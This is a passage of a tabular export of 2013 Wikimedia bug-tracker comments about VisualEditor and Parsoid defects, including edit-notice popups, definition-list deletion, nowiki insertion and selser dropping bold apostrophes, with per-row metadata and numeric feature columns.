+As a quick hack, we could sniff for the edit notice having class=""editnotice-redlink"" on it and killing that notice from the array. It's horrible, but it will stop the problem until we fix it properly.",,,1372813340,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wnsljgens4avgolp5rah,task_subcomment,,True,c1,3,True,,,0,,1,0,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,0,0,1,0,1,0,0,1,0,0,1,1,1,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1
+243183,"VisualEditor: Notice popup appears when there are, in fact, no notices because of enwiki's hack","Last I checked, we're part of the community.",,,1372806658,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-wnsljgens4avgolp5rah,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+243179,"VisualEditor: Notice popup appears when there are, in fact, no notices because of enwiki's hack","I fixed most of these last year by supporting client-side ""hidden"" notices as non-existent through the hasVisibleText logic I wrote.
+
+These used to trigger a notice for all users, now it only triggers a notice for users that have css in their state that makes these red links visible (I think this is limited to MediaWiki:Group-sysop.css by default +  anyone else who likes to have it as well).
+
+There isn't much we can do. If the community insists it is useful to have placeholder edit notices when there is no editnotice that allows opt-in users to create them from a red link, then this is exactly what they want, is it not?
+
+It shows that on EditPage as well (except in there, they are less visible as actual notices but appear as part of the page).",,,1372801246,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-wnsljgens4avgolp5rah,task_subcomment,,True,c1,3,True,,,0,,1,1,0,1,1,1,1,0,0,1,1,1,1,1,1,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,1,0,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1,0,0,0,1,0,0,1,0,0,1,1,1,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,1,1,1,1,0
+243174,"VisualEditor: Notice popup appears when there are, in fact, no notices because of enwiki's hack","This really should be solved on en.wp, not in VE.",,,1372784144,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-wnsljgens4avgolp5rah,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+243169,"VisualEditor: Notice popup appears when there are, in fact, no notices because of enwiki's hack","I'd recommend prioritizing this very highly, it's a rather negative experience.",,,1372784020,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-wnsljgens4avgolp5rah,task_subcomment,,True,c1,3,False,,,0,,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0
+243163,"VisualEditor: Notice popup appears when there are, in fact, no notices because of enwiki's hack",*** Bug 50531 has been marked as a duplicate of this bug. ***,,,1372727149,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wnsljgens4avgolp5rah,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+243157,"VisualEditor: Notice popup appears when there are, in fact, no notices because of enwiki's hack","(In reply to comment #1)
+> (In reply to comment #0)
+> > Created attachment 12619 [details]
+> > Screenshot
+> > 
+> > See screenshot. What am I meant to be paying attention to?
+> 
+> That enwiki's community, in its wisdom, wants you to see that you can add a
+> page notice to every page, because you're +sysop. It doesn't appear for
+> non-sysops. If they want to commit to adding a class to it that we suppress
+> and reduce the count by one, we're happy to do that.
+
+Looking into this, it seems like we can use class=""editnotice-redlink"" to select and suppress these (including reducing the count by one). Handing to Timo to implement.
+
+**Attached**: {F11451}",,,1372172066,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wnsljgens4avgolp5rah,task_subcomment,,True,c1,2,True,,,-1,,1,0,0,1,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+243153,"VisualEditor: Notice popup appears when there are, in fact, no notices because of enwiki's hack","(In reply to comment #0)
+> Created attachment 12619 [details]
+> Screenshot
+> 
+> See screenshot. What am I meant to be paying attention to?
+
+That enwiki's community, in its wisdom, wants you to see that you can add a page notice to every page, because you're +sysop. It doesn't appear for non-sysops. If they want to commit to adding a class to it that we suppress and reduce the count by one, we're happy to do that.
+
+**Attached**: {F11451}",,,1372036133,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wnsljgens4avgolp5rah,task_subcomment,,True,c1,2,True,,,-1,,1,0,0,1,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+52076,VisualEditor: Deletion into a DL from a block slug breaks,"Click after the line ""Saptaitey Chiranjeevinaha[citation needed]"" on https://en.wikipedia.org/wiki/Chiranjivi and BANG! And the text is gone.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1372035720,1374186072.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-2jhlgapomh7x5pp3mfeq,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0
+243108,VisualEditor: Deletion into a DL from a block slug breaks,Fixed and will go out in an hour.,,,1374186072,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2jhlgapomh7x5pp3mfeq,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+243102,VisualEditor: Deletion into a DL from a block slug breaks,"Change 73952 merged by jenkins-bot:
+Handle backspace correctly when in a slugs
+
+https://gerrit.wikimedia.org/r/73952",,,1374186006,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2jhlgapomh7x5pp3mfeq,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0
+243097,VisualEditor: Deletion into a DL from a block slug breaks,"Change 73952 had a related patch set uploaded by Esanders:
+Handle backspace correctly when in a root slug
+
+https://gerrit.wikimedia.org/r/73952",,,1373975739,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2jhlgapomh7x5pp3mfeq,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0
+243094,VisualEditor: Deletion into a DL from a block slug breaks,"(In reply to comment #4)
+> Yes; you need to backspace over the DL from the block slug underneath it to
+> trigger.
+Yeah, that breaks it. For some reason handleDelete() tries to process *two* transactions: one successfully removes the entire <dl>, and the second tries to reinsert part of it but in the middle of a paragraph, presumably because it computed the wrong offset somehow (failing to adjust for the first transaction, maybe)?",,,1373658227,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-2jhlgapomh7x5pp3mfeq,task_subcomment,,True,c1,3,False,,,1,,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+243092,VisualEditor: Deletion into a DL from a block slug breaks,Yes; you need to backspace over the DL from the block slug underneath it to trigger.,,,1373502736,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2jhlgapomh7x5pp3mfeq,task_subcomment,,True,c1,3,True,,,1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+243089,VisualEditor: Deletion into a DL from a block slug breaks,"I can't reproduce this any more, can anyone else?",,,1373500564,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-2jhlgapomh7x5pp3mfeq,task_subcomment,,True,c1,3,False,,,1,,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,1,0,0
+243085,VisualEditor: Deletion into a DL from a block slug breaks,"DefinitionListNode shouldn't have getAnnotatedHtml, it's not inside a content branch. Did we screw up the DM such that a definition list ended up inside a paragraph?",,,1373499822,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-2jhlgapomh7x5pp3mfeq,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0
+243079,VisualEditor: Deletion into a DL from a block slug breaks,"Yuck. Thrown error is:
+
+  Uncaught TypeError: Object #<VeCeDefinitionListNode> has no method 'getAnnotatedHtml' 
+
+Sounds like we didn't update the CE nodes for DLs.",,,1373163018,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2jhlgapomh7x5pp3mfeq,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,1
+52071,VisualEditor: HTML comments being removed inside references,"See https://en.wikipedia.org/w/index.php?title=Beautiful_%28Mariah_Carey_song%29&diff=561243294&oldid=561242578
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1372034760,1372210324.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-k3jo2lfnt7epz4x6sikv,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+242823,VisualEditor: HTML comments being removed inside references,Fixed and will be going out today.,,,1372210324,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-k3jo2lfnt7epz4x6sikv,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+242819,VisualEditor: HTML comments being removed inside references,Related URL: https://gerrit.wikimedia.org/r/70469 (Gerrit Change I5a844e2e0655bc1db152b3805718324ca0bb04df),,,1372189640,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-k3jo2lfnt7epz4x6sikv,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+242814,VisualEditor: HTML comments being removed inside references,*** Bug 50102 has been marked as a duplicate of this bug. ***,,,1372113547,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-k3jo2lfnt7epz4x6sikv,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+242808,VisualEditor: HTML comments being removed inside references,"s/templates/references/ gah, sorry",,,1372108420,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-k3jo2lfnt7epz4x6sikv,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1
+242802,VisualEditor: HTML comments being removed inside references,Now appearing outside of templates; https://en.wikipedia.org/w/index.php?title=Lichens_%28musician%29&curid=16561703&diff=561390034&oldid=556766679,,,1372097824,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-k3jo2lfnt7epz4x6sikv,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0
+242796,VisualEditor: HTML comments being removed inside references,"Roan, can you tell how we're dirtying the DOM such that Parsoid changes these at all?",,,1372036818,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-k3jo2lfnt7epz4x6sikv,task_subcomment,,True,c1,2,True,,,-1,,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+52070,VisualEditor: Nowiki-ing inside templates' parameters,"See https://en.wikipedia.org/w/index.php?title=Riddler&diff=561149660&oldid=561096940
+
+The user reports they were nowhere near the infobox.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50147
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50129",High,80.0,1372034400,1372218685.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-67esakdk26er4uxasrc3,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1
+242762,VisualEditor: Nowiki-ing inside templates' parameters,This is now fixed and pushed live; sorry for the failure.,,,1372218685,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-67esakdk26er4uxasrc3,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+242755,VisualEditor: Nowiki-ing inside templates' parameters,*** Bug 50129 has been marked as a duplicate of this bug. ***,,,1372127871,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-67esakdk26er4uxasrc3,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+242748,VisualEditor: Nowiki-ing inside templates' parameters,Bug 50147 is the underlying problem in Parsoid; this bug is for fixing the dirty-DOMing that makes Parsoid trigger on the templates.,,,1372125589,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-67esakdk26er4uxasrc3,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+242740,VisualEditor: Nowiki-ing inside templates' parameters,"Other examples of nowiki insertion:
+
+http://en.wikipedia.org/w/index.php?title=Glenn_Greenwald&diff=561437483&oldid=561434741
+
+https://en.wikipedia.org/w/index.php?title=Schuylar_Oordt&diff=561438828&oldid=561406705",,,1372122627,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-67esakdk26er4uxasrc3,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+242732,VisualEditor: Nowiki-ing inside templates' parameters,"Roan, can you tell how we're dirtying the DOM such that Parsoid changes these at all?",,,1372036412,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-67esakdk26er4uxasrc3,task_subcomment,,True,c1,2,True,,,-1,,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+52068,Parsoid: selser drops last three apostrophes in '''''foo''''',"See https://en.wikipedia.org/w/index.php?title=Port_of_Hull&diff=561131671&oldid=561056099 - an attempt to enter a dash led to bolding vanishing. Not sure what's going on there.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1372033860,1372290747.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-5cf6g72rzkft37gbritr,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+242630,Parsoid: selser drops last three apostrophes in '''''foo''''',https://gerrit.wikimedia.org/r/70768 (Gerrit Change I69bda7db141a3302cee6ece5af5ffdc57e748d89) | change APPROVED and MERGED [by jenkins-bot],,,1372291023,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5cf6g72rzkft37gbritr,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+242626,Parsoid: selser drops last three apostrophes in '''''foo''''',Related URL: https://gerrit.wikimedia.org/r/70768 (Gerrit Change I69bda7db141a3302cee6ece5af5ffdc57e748d89),,,1372287578,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5cf6g72rzkft37gbritr,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+242622,Parsoid: selser drops last three apostrophes in '''''foo''''',Related URL: https://gerrit.wikimedia.org/r/70768 (Gerrit Change I69bda7db141a3302cee6ece5af5ffdc57e748d89),,,1372287575,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5cf6g72rzkft37gbritr,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+242617,Parsoid: selser drops last three apostrophes in '''''foo''''',*** Bug 50258 has been marked as a duplicate of this bug. ***,,,1372284454,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5cf6g72rzkft37gbritr,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+242611,Parsoid: selser drops last three apostrophes in '''''foo''''',"I can't reproduce the dirtying of the paragraph locally. If I make a null change, I get a null diff. If I change anything outside the bold+italic text, I get the bad diff.
+
+There are some dirtying issues with the code that was in production at the time, and still one left for which the fix is not deployed. That said, the minimal test case for this ( https://en.wikipedia.org/w/index.php?title=User:JohnCD/VEtest5&diff=next&oldid=561489465 ) does have a neighboring change.",,,1372218541,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-5cf6g72rzkft37gbritr,task_subcomment,,True,c1,2,False,,,-1,,1,1,0,0,1,1,1,0,0,1,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+242603,Parsoid: selser drops last three apostrophes in '''''foo''''',"Here are actually two bugs:
+
+1) a VE bug that causes that paragraph to be dirtied
+2) a Parsoid bug that does not round-trip the bolding properly when using selser on bold elements
+
+Should I open a separate bug for VisualEditor, or do you have one for this already?",,,1372218203,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-5cf6g72rzkft37gbritr,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+242596,Parsoid: selser drops last three apostrophes in '''''foo''''',"This turns out to be a Parsoid bug:
+
+$ echo ""Foo '''''bar''''' baz"" > wt
+$ node parse.js --wt2html < wt | tee html
+<body><p data-parsoid='{""dsr"":[0,21,0,0]}'>Foo <i data-parsoid='{""dsr"":[4,14,2,2]}'><b data-parsoid='{""autoInsertedEnd"":true,""dsr"":[6,12,3,0]}'>bar</b></i> baz</p>
+</body>
+$ sed 's/baz/baaz/g' < html | tee html2
+<body><p data-parsoid='{""dsr"":[0,21,0,0]}'>Foo <i data-parsoid='{""dsr"":[4,14,2,2]}'><b data-parsoid='{""autoInsertedEnd"":true,""dsr"":[6,12,3,0]}'>bar</b></i> baaz</p>
+</body>
+$ node parse.js --html2wt --selser --oldtextfile wt --oldhtmlfile html < html2
+Foo '''''bar'' baaz
+
+Note that this doesn't break if there is no DOM change (i.e. if you pipe in html rather than html2 in the last step), and it also doesn't break if selser is disabled (i.e. if you omit --selser in the last step).",,,1372217410,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-5cf6g72rzkft37gbritr,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,1
